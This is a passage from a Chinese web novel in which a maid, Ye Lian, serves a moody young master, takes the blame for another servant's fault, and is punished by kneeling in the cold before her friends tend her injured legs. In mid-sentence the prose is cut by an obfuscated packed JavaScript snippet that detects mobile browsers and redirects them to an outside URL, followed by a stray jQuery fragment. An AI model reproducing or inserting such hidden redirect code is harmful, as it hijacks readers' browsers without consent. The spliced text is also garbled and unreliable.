叶莲一时悚然：她竟觉得李兰钧可爱？
她赶紧把这一想法驱逐出脑海。
见她不答话，身边人捏了一把汗。
直到身后周嬷嬷“嘶”地一声倒吸一口冷气，叶莲才回过神来。
同样的错误不能犯第二次，她脑袋里飞快盘算起来，“奴婢……奴婢见少爷有胃口用膳，一时替您高兴忘了礼数……”
说着便要跪下来认错，李兰钧听她拙劣的狡辩，出声止住她的动作：“跪什么？汤还没喂完呢。”
叶莲赶忙回归原位，给他喂去一口清汤。
“这种蠢话你也有嘴说，我都替你臊得慌。”李兰钧喝完咂咂嘴，淡淡地驳斥她。
被点名的叶莲顶着一张红扑扑的脸，埋着脑袋挖起一只冬菇，“奴婢知错。”
李兰钧不搭理她，仿佛吃饱了有了力气使唤人，叶莲勺里的冬菇临递到嘴边又开始犯娇贵病。
只见他纡尊降贵地瞥了一眼那顶着土棕冠帽的冬菇，吐出四字：“太丑，不吃。”
冬菇委屈地躺在勺里，有苦说不出。
叶莲只得将冬菇放回碗中，从汤里挑出一小块翠绿的莴苣，还没送到跟前，李兰钧便偏过头用下颌看人。
一望而知，叶莲迅疾地撤回手，舀了一勺漂着菌丝的汤水。
叶莲支起手臂送到他嘴边，腿上因着半跪的姿势逐渐麻木，她勉强撑着不让身体左右摇晃。
李兰钧转头悠悠品着汤，半晌才见勺底干净。
这会儿时辰对叶莲则是煎熬，伺候好李兰钧谈何容易，稍不留神就要被拖出去生死难料了。
好在李兰钧喝完这一口，就赦免似的说道：“撤下去吧。”
叶莲得了他的金口玉言，忙颔首站起身，如释重负地准备收拾食案打道回府。
“你就穿这身来？”
未等她高兴多久，李兰钧这个喜好无端生事的主子又开了金口。
叶莲不明所以：她的衣服是统一发放的，李兰钧不知在揪她的什么错处。
总不能是衣着简陋吧。叶莲一边想一边往身上看去，这一看便不得了了——她裙上不知怎的沾上了碗口大的泥水污渍！
还有大大小小的赃污之处，泥巴、地灰，和一片死死扒着她裙角的枯叶。
她倏地看向始作俑者，周嬷嬷也想起什么似的陡然一激灵，惶恐地与她对视。
“这是……”叶莲组织着措辞。
她看周嬷嬷脸上出现哀求的神色，就差跪下来求她叫她不要说出。
叶莲咬唇思量片刻，斟酌着开口，“是奴婢在菜园摘菜时没留意弄上的——”
“穿成这样侍奉，是奴婢粗心大意的错，请少爷责罚！”
她转身跪伏在地上，闭着眼等待发落。
周嬷嬷是李府带来的老人，即使有千错万错，也不会像处置她这个下等丫鬟一样发卖出府，现在得罪她，届时她记恨下来反倒得不偿失。
何况若她想颠倒黑白，李兰钧是会听信叶莲这个没见过几面的小丫鬟的一面之词，还是相信有众人为证的周嬷嬷……
叶莲这次不敢赌了。
越是说多越是错多，不如就这么认了。
不论打板子还是卖给人牙子，总比纠缠一圈到头来还是罪在她头上，惹李兰钧烦躁被套麻袋打死好，总归是活着的。
只要命还在一切都有回转的余地。
“我有说要罚你么？”
李兰钧不知他在她眼里是何模样，他都还没摔些什么以示怒意，这个小丫鬟就急着让他处罚。
他没有自知之明地想：难不成我是个天生的臭脸吗？
这样想着，便不由自主去摸摸自己的嘴角，看是不是向下撇的。
叶莲看不见他的神色，也无法从话语里辨别喜怒来，她咽了咽唾沫，检讨道：“少爷不罚，奴婢也该自罚自检……”
“好啊，那去外面跪着去。”
李兰钧忽然没了逗人的乐趣，摆摆手让她退下领罚。
叶莲可算是得到明示，深深舒了一口气，安心地退下去受罚。
没有皮肉之苦，也不用收拾包袱滚出去，在外边跪着简直是天大的恩赐。
她知足地接受，疾步走出内室，又从廊前踱下踏道，在天寒地冻中正对着寝居跪下。
李兰钧见她喜上眉梢的模样，不明白有何可喜的，想再看看她跪在何处，却被屏风挡住视线，怎么都瞧不见人。
“这么笨重一个屏风，立在这跟棺材似的，你们是在咒我吗？”
李兰钧刚和气一会儿，马上便忍不住了，“明日再让我见到它，你们就统统去庄子上种地！”
他阴晴不定的行为已然是惯例，仆从们从不细想缘由，只一味地下跪听命。
叶莲跪在道上听内室的动静，心中感叹李兰钧咒自己是一把好手。
她跪在这儿还算舒坦，不用挑雪地里跪，也感受得到炭盆的暖和，不全是瑟瑟夜风，除了膝盖抵着地板发寒，其余都无大碍。
不知跪了多久，她把屋顶瓦片都数了十道，看着来往的汤药不断，腿脚几乎没有知觉了，里面才走出一个侍女，对她道：“少爷要歇息了，叫你回去。”
“是。”
叶莲应下，待侍女遣进几个守炭丫鬟，又关上门，陆续开了几扇窗户，她才慢慢站起来在原地捶捶腿。
把腿脚捶出疼意，僵硬的四肢舒展了，叶莲拖着不住发抖的腿，一步步摸索着走回厨房。
沿着过道走走停停，拐了几道弯，踩了几条石子路，走到厨房门口时，劫后余生的庆幸终于涌上心头，让她差点落下泪。
厨房里灭了灯，一片黑茫茫的，叶莲在门边歇了半天后摸黑走进院子里，院里除了地上那滩干涸的泥迹，仿佛从未发生过乱事。
她吸吸鼻子，整了整不成样子的冬装，拐过墙角往下人房走去。
“莲儿？”墙边一黑影突然开口说话。
叶莲止住脚步，另一道黑影蹿出来将她搂了个满怀，“呜呜呜，你回来了……”
那名为云儿的黑影摸到她身上的暖意，霎时哭出声。
“我以为你死了，我以为你再也不会回来了！”
云儿哭得上气不接下气。
一边的立着的黑影也慢慢与她们拥在一团，悄无声息地落泪，若不是泪珠落进叶莲颈间，她都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186824|165482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没留意到红儿也哭了。
“你怎么这么傻，上赶着找死……”红儿哭着斥她，哭腔快淹没说话声。
“大家都以为你死了……我和红儿不肯信，便想坐在这儿等你一夜，幸好你回来了，幸好你没死……”
云儿哭起来话变得愈发密，反复说着几句“幸好”，又断续叨着叶莲走后她们如何如何的事，没一句说在重点上，像是梦中胡言。
叶莲靠在她肩头，眨几下眼睛几颗豆大的眼泪掉下来，打湿云儿肩背那块布料。
三人哀哀戚戚好半晌，直到外边挑灯的小厮一盏盏挑灭油灯，檐墙外透着的昏黄从远及近被黑蒙慢慢渗透，这才左右扶着叶莲借月色沿墙回房。
将她放置于长凳上，红儿摸索着点了油灯，整个暗室就靠桌上这盏小灯勉强照亮，除了桌子附近其余地方几乎看不见。
她点了灯后蹲在叶莲身前，掀起衣角和裤腿查看伤势。
叶莲不自在地缩了缩，被她一把抓紧：“别动了，让姐姐看看伤。”
闻言，叶莲乖巧地伸出一双腿，用鼻间哼出一个鼻音浓重的“嗯”。
云儿进门后不知在何处翻箱倒柜，满室只听见她自言自语地嘀咕和翻找声。
借着灯光，红儿这才瞧见叶莲腿上的伤，整双腿从膝盖处蔓延出青紫斑块，还有被冻伤的红肿痕迹，伶仃一双细腿由膝盖至小腿肚生生肿大了一圈。
偏偏叶莲一声不吭，仿若无事一般。
“你这腿……你、你从北院独自回来，这怎么受得住的？”红儿看着伤处惊成结巴。
叶莲稍微动了动腿，一股酸胀劲儿迅速袭卷而来，她咬着舌头忍住疼，安抚地笑笑：“路上倒不疼，跪着的时候也没什么感觉，这会儿坐下才渐渐感到胀。”
“你这张嘴，从来只说好话。”红儿不理会她的诡辩，皱着眉仔细看伤，“我那还有药油，不知效果如何……若不成就去问门房那儿买些好的伤药回来。”
“腿上这些伤，还得好好养养，不然要落下病根了。”
叶莲一味地点头答应，不敢多言。
“找沈嬷嬷要些红花粉呀！我看她身上成日散着那味，一定有多余的。”
云儿搂着一套冬装过来，放下两瓶土陶药瓶，她“唉”地一声坐下，肩膀紧挨着叶莲的。
“哪有上门找人家讨的，你净说这招嫌的话！”红儿仰头斥她，伸手拿起一瓶药。
药油顺着瓶口流出，红儿接了一小捧，放下药瓶慢慢用掌心揉热，敷上叶莲膝盖时，还发着暖。
云儿不以为意，“怎么不成了？都是一个院的家人长辈——何况嬷嬷平日也是个好说话的！”
“我还是自个买去吧，越是这样越不能去找她。”红儿无奈，说完便专心给叶莲上药。
上完药用空了一瓶，红儿嘱咐她不能捂着，叶莲换了干净的冬装，只得撩着裤腿睡在通铺上。
翌日一大早，红儿便早早去门房给她使钱买药去了。叶莲支起身子起来，差点被腿上可怕的酸痛疼得下不了床。
幸而李兰钧回李府过节，整日都有空闲的余地，不然她这样子去送膳，必要因仪态动作出岔子。